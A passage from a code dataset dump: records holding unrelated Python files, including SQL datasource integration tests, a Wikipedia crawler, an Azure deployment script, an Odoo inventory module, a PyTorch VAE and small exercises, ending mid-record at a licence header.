test_databricks_sql(\n self,\n databricks_sql_ds: DatabricksSQLDatasource,\n asset_name: TableNameCase,\n table_factory: TableFactory,\n ):\n table_name = TABLE_NAME_MAPPING[\"databricks_sql\"].get(asset_name)\n if not table_name:\n pytest.skip(f\"no '{asset_name}' table_name for databricks\")\n # create table\n table_factory(\n engine=databricks_sql_ds.get_engine(),\n table_names={table_name},\n schema=PYTHON_VERSION,\n )\n\n table_names: list[str] = inspect(\n databricks_sql_ds.get_engine()\n ).get_table_names(schema=PYTHON_VERSION)\n print(f\"databricks tables:\\n{pf(table_names)}))\")\n\n databricks_sql_ds.add_table_asset(\n asset_name, table_name=table_name, schema_name=PYTHON_VERSION\n )\n\n @pytest.mark.snowflake\n def test_snowflake(\n self,\n snowflake_ds: SnowflakeDatasource,\n asset_name: TableNameCase,\n table_factory: TableFactory,\n ):\n table_name = TABLE_NAME_MAPPING[\"snowflake\"].get(asset_name)\n if not table_name:\n pytest.skip(f\"no '{asset_name}' table_name for databricks\")\n if not snowflake_ds:\n pytest.skip(\"no snowflake datasource\")\n # create table\n schema = get_random_identifier_name()\n table_factory(\n engine=snowflake_ds.get_engine(),\n table_names={table_name},\n schema=schema,\n )\n\n table_names: list[str] = inspect(snowflake_ds.get_engine()).get_table_names(\n schema=schema\n )\n print(f\"snowflake tables:\\n{pf(table_names)}))\")\n\n snowflake_ds.add_table_asset(\n asset_name, table_name=table_name, schema_name=schema\n )\n\n @pytest.mark.parametrize(\n \"datasource_type,schema\",\n [\n param(\"trino\", None, marks=[pytest.mark.trino]),\n param(\"postgres\", None, marks=[pytest.mark.postgresql]),\n param(\n \"snowflake\", get_random_identifier_name(), marks=[pytest.mark.snowflake]\n ),\n param(\n \"databricks_sql\",\n PYTHON_VERSION,\n marks=[pytest.mark.databricks],\n ),\n ],\n )\n def test_checkpoint_run(\n self,\n request: pytest.FixtureRequest,\n context: EphemeralDataContext,\n table_factory: TableFactory,\n asset_name: TableNameCase,\n datasource_type: DatabaseType,\n schema: str | None,\n ):\n datasource: SQLDatasource = request.getfixturevalue(f\"{datasource_type}_ds\")\n\n table_name: str | None = TABLE_NAME_MAPPING[datasource_type].get(asset_name)\n if not table_name:\n pytest.skip(f\"no '{asset_name}' table_name for {datasource_type}\")\n\n # create table\n table_factory(\n engine=datasource.get_engine(), table_names={table_name}, schema=schema\n )\n\n asset = datasource.add_table_asset(\n asset_name, table_name=table_name, schema_name=schema\n )\n\n suite = context.add_expectation_suite(\n expectation_suite_name=f\"{datasource.name}-{asset.name}\"\n )\n suite.add_expectation(\n expectation_configuration=ExpectationConfiguration(\n expectation_type=\"expect_column_values_to_not_be_null\",\n kwargs={\n \"column\": \"name\",\n \"mostly\": 1,\n },\n )\n )\n suite = context.add_or_update_expectation_suite(expectation_suite=suite)\n\n checkpoint_config = {\n \"name\": f\"{datasource.name}-{asset.name}\",\n \"validations\": [\n {\n \"expectation_suite_name\": suite.expectation_suite_name,\n \"batch_request\": {\n \"datasource_name\": datasource.name,\n \"data_asset_name\": asset.name,\n },\n }\n ],\n }\n checkpoint = context.add_checkpoint( # type: ignore[call-overload]\n **checkpoint_config,\n )\n result = checkpoint.run()\n\n print(f\"result:\\n{pf(result)}\")\n assert result.success is True\n\n\nif __name__ == \"__main__\":\n pytest.main([__file__, \"-vv\"])\n","sub_path":"tests/datasource/fluent/integration/test_sql_datasources.py","file_name":"test_sql_datasources.py","file_ext":"py","file_size_in_byte":13874,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"606443780","text":"print (\"<----- Using while------>\")\na = int(input(\"Enter odd value for a\\n\"))\n\nwhile a < 50: \n\tif a < 50 and a%2:\n\t\tprint (a)\n\t\ta=a+2\n\telse:\n\t\tbreak\nprint (\"<-----end----->\")\n","sub_path":"Training/python/experiments/while.py","file_name":"while.py","file_ext":"py","file_size_in_byte":175,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"333814275","text":"'''\n'''\n\nimport sqlite3\n\ndef sqlite_table_columns(db, tablename):\n dbc = db.execute(\"pragma table_info(%s)\" % tablename)\n res = dbc.fetchall()\n columnnames = [X[1] for X in res]\n return columnnames\n\ndef has_column(db, tablename, columnname):\n columnnames = sqlite_table_columns(db, tablename)\n if columnname in columnnames:\n return True\n else:\n return False\n\n#wrapped\ndef sqlite_table_has_column(db, tablename, columnname):\n return has_column(db, tablename, columnname)\n\ndef dbex_one(db, sql, args=(), columns=[]):\n dbc = db.execute(sql, args)\n res = dbc.fetchone()\n dbc.close()\n if columns != []:\n if res:\n return dict(zip(columns, res))\n else:\n return None\n else:\n return res\n\ndef dbex_many(db, sql, args=(), columns=[]):\n dbc = db.execute(sql, args)\n res = dbc.fetchall()\n dbc.close()\n if columns != []:\n res = [dict(zip(columns, row)) for row in res]\n return res\n \nif __name__ == '__main__':\n pass","sub_path":"plx/lib/db/sqlite/shortcuts.py","file_name":"shortcuts.py","file_ext":"py","file_size_in_byte":1025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"362751216","text":"class Node:\n def __init__(self, dataval=None):\n self.dataval = dataval\n self.next_ptr = None\n\nclass Stack:\n def __init__(self):\n\n self.head_ptr = None\n self.tail_ptr = None\n\n def enqueue(self, mydataval=None):\n mynode = Node()\n mynode.dataval = mydataval\n if self.tail_ptr is not None:\n self.tail_ptr.next_ptr = mynode\n\n #mynode.next_ptr = self.tail_ptr\n\n self.tail_ptr = mynode\n if self.head_ptr is None:\n self.head_ptr = mynode\n\n def dequeue(self):\n if self.head_ptr is not None:\n myval = self.head_ptr.dataval\n self.head_ptr = self.head_ptr.next_ptr\n return myval\n else:\n return (\"empty stack\")\n\nmystack = Stack()\n\nmystack.enqueue('myval11')\nmystack.enqueue('myval22')\nmystack.enqueue('myval33')\n\nprint(mystack.dequeue())\nprint(mystack.dequeue())\nprint(mystack.dequeue())\n","sub_path":"data_structures/mycode.py","file_name":"mycode.py","file_ext":"py","file_size_in_byte":938,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"254715215","text":"#!/usr/bin/env python3\n\ndef toh(n, origin, target, interim):\n if n < 1:\n raise Exception('invalid input')\n \n if n == 1:\n print('Move Disc', n, 'from Pole', origin, 'to Pole', target)\n return\n \n toh(n-1, origin, interim, target)\n print('Move Disc', n, 'from Pole', origin, 'to Pole', target)\n toh(n-1, interim, target, origin)\n \n return\n\nimport sys\n \nif __name__ == '__main__':\n toh(int(sys.argv[1]), 0, 1, 2)\n","sub_path":"Lecture/Lecture12/L12_toh.py","file_name":"L12_toh.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"22370902","text":"from OpenGL.GL import *\n\nfrom . import geometry\n\n\ndef load(filename, shader_type):\n \"\"\"\n Load and compile a shader.\n \"\"\"\n\n with open(filename, 'r') as shader_code:\n return shaders.compileShader(shader_code.read(), shader_type)\n\n\ndef setup():\n vertex_shader = load('client/shaders/vertex_shader.glsl',\n GL_VERTEX_SHADER)\n fragment_shader = load('client/shaders/fragment_shader.glsl',\n GL_FRAGMENT_SHADER)\n\n return shaders.compileProgram(vertex_shader, fragment_shader)\n","sub_path":"client/shaders.py","file_name":"shaders.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"295474250","text":"# -*- encoding: utf-8 -*-\r\n#\r\n# File name: pdu_msg.py\r\n#\r\n# SMS PDU mode message\r\n#\r\n# Written By: Chen Weiwei (Dave.Chen.ww@gmail.com)\r\n\r\n\r\nclass PDUMsg(object):\r\n \"\"\"A PDU format SMS message\"\"\"\r\n\r\n def __init__(self, smsc, number, PID, DCS, DCS_desc,\r\n text, length, date, received=True):\r\n \"\"\"received = False indicates msg is transit\"\"\"\r\n self.smsc = smsc\r\n self.received = received\r\n self.number = number\r\n if date or received:\r\n self.date = date\r\n self.PID = PID\r\n self.DCS = DCS\r\n self.DCS_desc = DCS_desc\r\n self.length = length\r\n self.text = text\r\n\r\n def __unicode__(self):\r\n if self.received:\r\n out = \"SMSC: \" + self.smsc + \"\\nSender: \" + self.number +\\\r\n \"\\nSend time: \" + self.date + \"\\nTP_PID: \" + self.PID +\\\r\n \"\\nTP_DCS: \" + self.DCS + \\\r\n \"\\nTP_DCS-popis: \" + self.DCS_desc + \\\r\n \"\\nUser Message: \" + self.text + \\\r\n \"\\nLength: \" + str(self.length)\r\n else:\r\n out = \"SMSC: \" + self.smsc + \"\\nTarget: \" + self.number +\\\r\n \"\\nTP_PID: \" + self.PID + \"\\nTP_DCS: \" + self.DCS +\\\r\n \"\\nTP_DCS-popis: \" + self.DCS_desc +\\\r\n \"\\nUser Message: \" + self.text + \\\r\n \"\\nLength: \" + str(self.length)\r\n\r\n return out\r\n\r\n def __str__(self):\r\n return self.__unicode__().encode('utf-8')\r\n","sub_path":"pysms/pdu_msg.py","file_name":"pdu_msg.py","file_ext":"py","file_size_in_byte":1494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"573261684","text":"from bs4 import BeautifulSoup\n#test comment\nimport requests\n# import pandas as pd \nimport numpy as np\nimport re\n\n# df = pd.DataFrame()\n\nnp_arr = np.empty(1,)\n\nr = requests.get(\"https://en.wikipedia.org/wiki/List_of_riots#2014\")\n\ndata = r.text\n\ndef RepresentsInt(s):\n try: \n int(s)\n return True\n except ValueError:\n return False\n\nsoup = BeautifulSoup(data)\n\n# print(soup.head())\n\n\nfor li in soup.find_all('li'):\n\tif(RepresentsInt(li.get_text()[0:4])):\n\t\tif(int(li.get_text()[0:4])>=2006):\n\t\t\tfor link in li.find_all('a'):\n\t\t\t\tif(link.get_text()[0:1]!='['):\n\t\t\t\t\tif(link.get('href')[0:5]=='/wiki'):\n\t\t\t\t\t\tlink_str = \"https://en.wikipedia.org\" + link.get('href')\n\t\t\t\t\telse:\n\t\t\t\t\t\tlink_str = link.get('href')\n\t\t\t\t\tif(('riot' in link_str.lower()) or ('unrest' in link_str.lower()) or ('protest' in link_str.lower()) or ('uprising' in link_str.lower())):\n\t\t\t\t\t\tnp_arr = np.append(np_arr,link_str)\n\nprint(np_arr.shape)\nnp_arr=np_arr[1:]\n\n\n\nfileobj = open('test.txt', mode='w')\nfor obj in np_arr:\n\tfileobj.write(str(obj) + '\\n')\n\n# remove these\n# protest, unrest, riot, uprising\n","sub_path":"crawler.py","file_name":"crawler.py","file_ext":"py","file_size_in_byte":1099,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"420525253","text":"import json\nimport logging\nimport os\n\nimport gpg\n\nFORMAT = '%(asctime)s %(levelname)s %(name)s %(message)s'\nlogging.basicConfig(level=logging.INFO, format=FORMAT)\nlog = logging.getLogger(\"deploy\")\n\nfrom copy import deepcopy\nfrom azure.common.credentials import ServicePrincipalCredentials\nfrom azure.mgmt.cosmosdb import CosmosDB\nfrom azure.mgmt.cosmosdb.models import DatabaseAccountKind, DatabaseAccountCreateUpdateParameters, Location, DatabaseAccountOfferType\nfrom azure.mgmt.web import WebSiteManagementClient\nfrom azure.mgmt.web.models import AppServicePlan, SkuDescription, SkuName, Site, SiteConfig, ScmType, NameValuePair\n\nfrom cosmosdb import configure_collections\n\nfrom config import Mongo, Azure\n\nSKU_D1_SHARED = SkuDescription(name=\"D1\", capacity=1, tier=SkuName.shared.value)\nSKU_B1_BASIC = SkuDescription(name=\"B1\", capacity=1, tier=SkuName.basic.value)\n\nasync def main():\n log.info(\"Loading secrets\")\n secrets = load_secrets()\n web_client, cosmosdb_client = setup_azure(secrets)\n\n db, keys, connection_string = setup_cosmosdb(cosmosdb_client, Azure.cosmosdb_name)\n\n configure_collections(\n Mongo.database_name,\n Mongo.collections,\n keys.primary_master_key,\n db.document_endpoint\n )\n\n app_env = deepcopy(secrets[\"appEnvironment\"])\n app_env[\"MajavashakkiMongoConnectionString\"] = connection_string\n app_env[\"MajavaMongoPassword\"] = keys.primary_master_key\n\n log.info(\"Creating App Service Plan\")\n plan = web_client.app_service_plans.create_or_update(\n Azure.resource_group,\n Azure.plan_name,\n app_service_plan=AppServicePlan(\n Azure.location,\n Azure.plan_name,\n sku=SKU_B1_BASIC\n )\n ).result()\n\n log.info(\"Creating Web App\")\n env_pairs = [NameValuePair(k, v) for k, v in app_env.items()]\n site = web_client.web_apps.create_or_update(\n Azure.resource_group,\n Azure.site_name,\n Site(\n location=Azure.location,\n site_config=SiteConfig(\n app_settings=env_pairs,\n scm_type=ScmType.local_git,\n web_sockets_enabled=True,\n always_on=True,\n )\n )\n ).result()\n\n log.info(\"Pushing code to App Service\")\n pub_cred = web_client.web_apps.list_publishing_credentials(Azure.resource_group, Azure.site_name).result()\n git_url = mk_git_url(Azure.site_name, pub_cred)\n if \"CI\" in os.environ:\n await shell(\n \"git\", \"-c\", \"user.name='Majavashakki Deployer'\", \"-c\", \"user.email='majavashakki-deployer@majavapaja.fi'\",\n \"commit\", \"--allow-empty\", \"-m\", \"Empty commit to force app service to redeploy\"\n )\n await shell(\"git\", \"push\", \"--force\", git_url, \"HEAD:master\")\n\n log.info(\"Done\")\n\nasync def shell(*cmd):\n p = await asyncio.create_subprocess_exec(*cmd)\n await p.wait()\n if p.returncode != 0:\n raise RuntimeError(f\"command exited with code {p.returncode}\")\n\ndef setup_cosmosdb(cosmosdb_client, database_account_name):\n log.info(\"Creating CosmosDB\")\n mongo = cosmosdb_client.database_accounts.create_or_update(\n Azure.resource_group,\n database_account_name,\n DatabaseAccountCreateUpdateParameters(\n location=Azure.location,\n locations=[Location(location_name=Azure.location)],\n kind=DatabaseAccountKind.mongo_db\n ),\n database_account_offer_type=DatabaseAccountOfferType.standard\n ).result()\n\n log.info(\"Fetching CosmosDB connection details\")\n keys = cosmosdb_client.database_accounts.list_keys(Azure.resource_group, database_account_name)\n connection_strings = cosmosdb_client.database_accounts.list_connection_strings(Azure.resource_group, database_account_name).connection_strings\n connection_string = head(cs for cs in connection_strings if cs.description == \"Primary MongoDB Connection String\").connection_string\n return mongo, keys, connection_string\n\ndef head(xs):\n return next(iter(xs))\n\ndef mk_git_url(site_name, pub_cred):\n return f\"https://{pub_cred.publishing_user_name}:{pub_cred.publishing_password}@{site_name.lower()}.scm.azurewebsites.net/{site_name}.git\"\n\ndef setup_azure(secrets):\n log.info(\"Setting up credentials\")\n credentials = ServicePrincipalCredentials(\n client_id = secrets[\"azure\"][\"clientId\"],\n secret = secrets[\"azure\"][\"secret\"],\n tenant = secrets[\"azure\"][\"tenantId\"],\n )\n\n log.info(\"Initializing Azure clients\")\n subscription_id = secrets[\"azure\"][\"subscriptionId\"]\n web_client = WebSiteManagementClient(credentials, subscription_id)\n cosmosdb_client = CosmosDB(credentials, subscription_id)\n return web_client, cosmosdb_client\n\ndef load_secrets():\n content = gpg.decrypt_file(\"deployment/secrets.json.gpg\")\n return json.loads(content, encoding=\"utf-8\")\n\nif __name__ == \"__main__\":\n import asyncio\n loop = asyncio.get_event_loop()\n loop.run_until_complete(main())\n","sub_path":"deployment/deploy.py","file_name":"deploy.py","file_ext":"py","file_size_in_byte":4691,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"108924316","text":"import pygame\r\nimport sys\r\nimport os\r\nfrom sprite import *\r\n\r\nclass Sprite_list:\r\n\r\n def __init__(self):\r\n #number is render layer, [] is list of sprites at that layer\r\n #lowest number is rendered first\r\n self.storage = {}\r\n self.used_layers = []\r\n self.dynamic_sprites = {}\r\n self.dynamic_sprites_nums = []\r\n self.optimised_layers = {}\r\n self.optimised_layer_nums = []\r\n #state = creating/static\r\n #static means render as one\r\n #creating means render individually as many changes are made\r\n self.state = \"creating\"\r\n self.optimised = False\r\n\r\n def add(self,sprite):\r\n #checks if layer is there\r\n #if it is it appends\r\n #otherwise creates a new key\r\n if sprite.layer in self.storage.keys():\r\n self.storage[sprite.layer].append(sprite)\r\n if sprite.dynamic:\r\n self.dynamic_sprites[sprite.layer].append(sprite)\r\n else:\r\n self.storage[sprite.layer] = [sprite]\r\n self.used_layers.append(sprite.layer)\r\n self.used_layers.sort()\r\n if sprite.dynamic:\r\n self.dynamic_sprites[sprite.layer] = [sprite]\r\n self.dynamic_sprites_nums.append(sprite.layer)\r\n\r\n def delete(self,sprite):\r\n self.storage[sprite.layer].remove(sprite)\r\n\r\n def clear(self):\r\n self.storage = {0:[]}\r\n self.used_layers = 0\r\n\r\n def render_all(self):\r\n #for some reason, optimised_render function kills fps by 1/2\r\n #probably some stupid python/pyscripter thing\r\n if self.optimised:\r\n self.optimised_render()\r\n else:\r\n for layer in self.used_layers:\r\n for sprite in self.storage[layer]:\r\n if sprite.do_render:\r\n sprite.render()\r\n## for layer in self.used_layers:\r\n## for sprite in self.storage[layer]:\r\n## #somehow dynamic sprites are a major fps killer even when not rendered???\r\n## if self.optimised:\r\n## if sprite.do_render and sprite.render_state == \"dynamic\":\r\n## sprite.render()\r\n## pass\r\n## else:\r\n## if sprite.do_render:\r\n## sprite.render()\r\n## if layer in self.optimised_layer_nums:\r\n## for bg in self.optimised_layers[layer]:\r\n## bg.render()\r\n\r\n def optimised_render(self):\r\n for layer in self.used_layers:\r\n if layer in self.optimised_layer_nums:\r\n for bg in self.optimised_layers[layer]:\r\n bg.render()\r\n if layer in self.dynamic_sprites_nums:\r\n for sprite in self.dynamic_sprites[layer]:\r\n sprite.render()\r\n## pass\r\n\r\n\r\n def update_all(self):\r\n #basically no fps hit, clearly not an issue atm\r\n for layer in self.optimised_layer_nums:\r\n for sprite in self.storage[layer]:\r\n sprite.update()\r\n\r\n## def optimised_render(self,sprite,width,height):\r\n## #doesnt have any real affect...\r\n## if sprite.rect.top > height:\r\n## pass\r\n## elif sprite.rect.bottom < 0:\r\n## pass\r\n## elif sprite.rect.right < 0:\r\n## pass\r\n## elif sprite.rect.left > width:\r\n## pass\r\n## else:\r\n## sprite.render()\r\n\r\n def optimise(self,level):\r\n surface = pygame.display.get_surface()\r\n width,height = surface.get_width(), surface.get_height()\r\n for layer in self.used_layers:\r\n surf = pygame.Surface((level.largest_x+100,level.largest_y+100))\r\n for sprite in self.storage[layer]:\r\n if not sprite.dynamic and sprite.do_render:\r\n surf.blit(sprite.image,(sprite.rect[0]+16,sprite.rect[1]+16))\r\n bg_sprite = Sprite(sprite.surf,layer,x=0,y=0,image = surf,colorkey = (0,0,0))\r\n level.add(bg_sprite,width-342,height-42)\r\n if layer in self.optimised_layers.keys():\r\n self.optimised_layers[layer].append(bg_sprite)\r\n else:\r\n self.optimised_layers[layer] = [bg_sprite]\r\n self.optimised_layer_nums.append(layer)\r\n self.optimised_layer_nums.sort()\r\n self.optimised = True","sub_path":"sprite_list.py","file_name":"sprite_list.py","file_ext":"py","file_size_in_byte":4409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"134179067","text":"# -*- coding: utf-8 -*-\n\nfrom openerp import models, fields, api\n#import random\nfrom openerp.tools.translate import _ \nfrom openerp.exceptions import ValidationError\nfrom random import randint\nimport logging\n_logger = logging.getLogger(__name__)\n\nclass StockPicking(models.Model):\n _inherit = 'stock.picking'\n\n default_qtity_show = fields.Char(string = \"Cantidad de Ubicaciones\", default = \"3\", readonly = False,\n help=\"\"\"Digita una cantidad a partir de 1 para elegir cuantas ubicaciones desea proyectar en el formulario. \n \\n\"\"\"\"Tener en cuenta que mientras mas ubicaciones elije, espacio ocupara en el formulario!\"\"\")\n\n @api.onchange('default_qtity_show')\n @api.constrains('default_qtity_show')\n def _check_number(self):\n for rec in self:\n if rec.default_qtity_show:\n is_digits_only = self.default_qtity_show.isdigit() # rec.match(r'^[0-9]+$', rec.default_qtity_show)\n _logger.info(\"\\n is_digits_only \\n\")\n _logger.info(is_digits_only)\n if is_digits_only:\n pass\n else:\n raise ValidationError(_(\"Valor errado (%s). Debe introducir un numero entero positivo. (ej.: 3)\"%rec.default_qtity_show))\n\n\nclass StockMove(models.Model):\n #_name = 'stock.move'\n _inherit = 'stock.move'\n\n \n def _get_default_color(self):\n return randint(1, 11)\n\n\n @api.onchange('product_id')\n @api.depends('product_id')\n @api.model\n def _get_disponibilidad(self):\n \"\"\" for rec in self:\n if rec.qty_available > 0: \"\"\"\n if self.product_id.qty_available > 0:\n self.disponibilidad_quant = True\n\n\n @api.onchange('product_id')\n @api.depends('product_id','quantity_available_loc_ids2', 'choose_loc_from2', 'product_uom_qty')\n @api.one\n def _calculate_choose_loc_from(self):\n if self.quantity_available_loc_ids2:\n loc_ids = []\n loc_to_calculate = []\n\n for q_ids in self.quantity_available_loc_ids2:\n loc_ids.append(q_ids.location_id.id)\n\n \"\"\" _logger.info(\"\\nfor index, q_ids\")\n _logger.info(\"\\nloc_ids\\n\")\n _logger.info(loc_ids) \"\"\"\n\n loc_to_calculate = self.env['stock.quant'].search([('location_id', 'in', loc_ids)], order='qty desc')\n \n _logger.info(\"\\nloc_to_calculate\\n\")\n _logger.info(loc_to_calculate)\n\n loc_qty_sum_ok = []\n x = 0\n q = 0\n\n _logger.info(\"\\nself.product_uom_qty\\n\")\n _logger.info(self.product_uom_qty)\n\n while self.product_uom_qty > q:\n if x >= len(loc_to_calculate):\n break\n else:\n loc_qty_sum_ok.append(loc_to_calculate[x].location_id.id)\n q+=loc_to_calculate[x].qty\n x+=1\n\n _logger.info(\"\\nx+=1\\n\")\n _logger.info(x)\n\n _logger.info(\"\\nq+=1\\n\")\n _logger.info(q)\n\n _logger.info(\"\\nloc_qty_sum_ok\\n\")\n _logger.info(loc_qty_sum_ok)\n\n to_pass = self.env['stock.quant'].search([('location_id', 'in',loc_qty_sum_ok)],order='qty desc')\n\n _logger.info(\"\\nto_pass\\n\")\n _logger.info(to_pass)\n\n self.choose_loc_from2 = self.env['stock.quant'].search([('location_id', 'in',loc_qty_sum_ok)],order='qty desc')\n\n #TODO choose_loc_from se debe elegir por defecto la ubicacion [0] luego de organizarla de menor a mayor segun cercania de almacen\n\n\n def _inverse_calculate_choose_loc_from(self):\n pass\n\n\n quantity_available_loc_ids = fields.Many2many('stock.quant', string = \"Disponibilidad\", compute = '_get_available',\n help=\"Almacenes que tienen disponible este producto.\")\n quantity_available_loc_ids2 = fields.Many2many('stock.quant', string = \"Disponibles quants\", compute = '_get_available',\n help=\"Almacenes que tienen disponible este producto.\", store = True)\n limit_to_show = fields.Char(related = 'picking_id.default_qtity_show')\n color = fields.Integer(string='Color Index', default=_get_default_color)\n disponibilidad_quant = fields.Boolean('Disponibilidad', compute = \"_get_disponibilidad\", default = False)#, default = False)\n \"\"\" choose_loc_from = fields.Many2many(related = 'quantity_available_loc_ids2', readonly = True\n help=\"Elija el o los almacenes desde donde desea sea retirada la mercancia.\") \"\"\" #'stock.quant', readonly = False, domain= [('id', 'in', quantity_available_loc_ids)], default = default_choose_loc_from, change_default=True)\n choose_loc_from2 = fields.Many2many('stock.quant', compute = '_calculate_choose_loc_from', inverse='_inverse_calculate_choose_loc_from',\n required = True, store = True, \n help=\"\"\"* Esta campo elije la o las ubicaciones de salida mas cercana(s) desde donde se estaría realizando el conduce.\n \\n* Para que esta función automática pueda funcionar; debe asignar las asociaciones de las ubicaciones/almacenes \n donde se especifica las ubicaciones mas próximos entre ellas. Ej: Contenedor 15; cercanos: (13,14,16,17) ya que \n no necesariamente el numero que le sigue puede estar justo al lado por esto se deben hacer las asociaciones manuales. \n \\n* Puede elegir quitar o agregar ubicaciones.\n \\n* Por el momento el campo estará eligiendo la ubicación con el mayor numero de itemes y en caso de no ser suficiente agrega \n otras ubicaciones. \n \"\"\",)#, default = _calculate_choose_loc_from ,\n\n #short_name_loc_quantity = fields.Char(string = \"Disponibilidad\")#, compute = 'compute_short_loc')\n\n\n @api.onchange('product_id')\n @api.depends('product_id', 'quantity_available_loc_ids', 'limit_to_show')\n @api.one\n def _get_available(self):\n _logger.info(\"\\n\\n_get_available: running\\n\\n\")\n location_list = []\n product_list = []\n available_locations_ids = []\n\n if self.product_id:\n obj_location = self.env['stock.location'].search([('usage', '=', 'internal')])\n \n for i in obj_location:\n location_list.append(i.id)\n\n obj_quant = self.env['stock.quant'].search([('product_id', '=', self.product_id.id),\n ('location_id', 'in', location_list)])\n for obj in obj_quant:\n move_line = {'product_id': obj.product_id.id,\n 'stock_location': obj.location_id.id,\n 'qty_on_hand': obj.qty,\n }\n product_list.append(move_line)\n\n for i in product_list:\n if i['qty_on_hand'] > 0:\n available_locations_ids.append(i['stock_location'])\n\n #self.quantity_available_loc_ids = self.env['stock.quant'].search([('location_id', 'in', available_locations_ids)],order='qty desc', limit=int(self.limit_to_show))#,order='qty')\n self.quantity_available_loc_ids2 = self.env['stock.quant'].search([('location_id', 'in', available_locations_ids)],order='qty desc')#,order='qty')\n \n\n #TODO talvez deba independizar el short_name_loc_quantitys para que no afecte otros registros en _rec_name del stock.quant\n \"\"\" @api.onchange('product_id')\n @api.depends('product_id','quantity_available_loc_ids')\n @api.one\n def compute_short_loc(self): \n #logger.info(\"\\n\\ncompute_short_loc running\\n\\n\")\n short_n = \"\"\n if self.quantity_available_loc_ids:\n for n in self.quantity_available_loc_ids:\n short_n += str(n.location_id.name) + \": \" + str(n.quantity) + \" \" + str(n.product_tmpl_id.uom_id.name) + \"\\n\"\n #((\" \".join((\": \".join(str(n.stock_location.name),str(n.qty_on_hand))),str(n.product_id.uom_id.name)))+\"\\n\")\n self.short_name_loc_quantity = short_n \"\"\"\n \nclass StockQuant(models.Model):\n _inherit = 'stock.quant'\n _rec_name = 'short_names_locs_quantitys'\n\n location_name = fields.Char(related='location_id.name')\n short_names_locs_quantitys = fields.Char(string = \"Disponibilidad\", compute = \"compute_short_loc\")\n\n @api.depends('location_id')\n @api.one\n def compute_short_loc(self): \n short_n = \"\"\n if self.location_id:\n for n in self:\n short_n += str(n.location_id.name) + \": \" + str(n.qty) + \" \" + str(n.product_uom_id.name) + \"\\n\\r\"\n self.short_names_locs_quantitys = short_n\n\n\nclass StockLocation(models.Model):\n _inherit = 'stock.location'\n\n nearby_locs = fields.One2many('stock.location', 'location_id', string = \"Ubicaciones cercanas\", \n help = \"\"\" Especificar una o varias ubicaciones que esten ubicadas proximo a este almacen o ubicacion\n para que el sistema pueda utilizarlo a la hora de determinar la ruta mas cercana de despacho\"\"\")\n\n def _get_default_color(self):\n return randint(0, 11)\n\n color = fields.Integer(string='Color Index', default=_get_default_color)\n\n","sub_path":"inventory_extras/models/stock_move copy 3.py","file_name":"stock_move copy 3.py","file_ext":"py","file_size_in_byte":9560,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"506350829","text":"import numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n\nclass VAE(nn.Module):\n def __init__(self, obs_dim, latent_dim, hidden_dims=[100, 100]):\n\n super().__init__()\n self.latent_dim = latent_dim\n \n self.linear0 = nn.Linear(obs_dim, hidden_dims[0])\n self.linear1 = nn.Linear(hidden_dims[0], hidden_dims[1])\n self.linear21 = nn.Linear(hidden_dims[1], latent_dim)\n self.linear22 = nn.Linear(hidden_dims[1], latent_dim)\n\n self.linear3 = nn.Linear(latent_dim, hidden_dims[0])\n self.linear31 = nn.Linear(hidden_dims[0], hidden_dims[1])\n self.linear4 = nn.Linear(hidden_dims[1], obs_dim)\n\n def encoder(self, x):\n\n h = torch.relu(self.linear1(torch.relu(self.linear0(x))))\n return self.linear21(h), self.linear22(h)\n\n def sample_with_reparam(self, mu, logsigma):\n\n sample = torch.empty_like(mu).normal_(0., 1.) * logsigma.exp() + mu\n return sample \n\n def decoder(self, z):\n \n decode = torch.sigmoid(self.linear4(torch.relu(self.linear31(torch.relu(self.linear3(z))))))\n return decode\n\n\n def kl_divergence(self, mu, logsigma):\n \n kl_div = 0.5 * (mu.pow(2) + (2 * logsigma).exp() - 2 * logsigma - 1).sum(-1)\n return kl_div\n\n def elbo(self, x):\n\n mu, logsigma = self.encoder(x)\n z = self.sample_with_reparam(mu, logsigma)\n theta = self.decoder(z)\n log_obs_prob = -F.binary_cross_entropy(theta, x, reduction='none').sum(-1)\n kl = self.kl_divergence(mu, logsigma)\n elbo = log_obs_prob - kl\n return elbo\n\n def sample(self, num_samples):\n\n z = torch.empty(num_samples, self.latent_dim).normal_()\n theta = self.decoder(z)\n sample = torch.bernoulli(theta)\n return sample\n\n","sub_path":"vae.py","file_name":"vae.py","file_ext":"py","file_size_in_byte":1825,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"393780164","text":"'''THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\nOR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\nMERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, TITLE AND\nNON-INFRINGEMENT. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR ANYONE\nDISTRIBUTING THE SOFTWARE BE LIABLE FOR ANY DAMAGES OR OTHER LIABILITY,\nWHETHER IN CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\nCONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.'''\n\n# Bitcoin Cash (BCH) qpz32c4lg7x7lnk9jg6qg7s4uavdce89myax5v5nuk\n# Ether (ETH) - 0x843d3DEC2A4705BD4f45F674F641cE2D0022c9FB\n# Litecoin (LTC) - 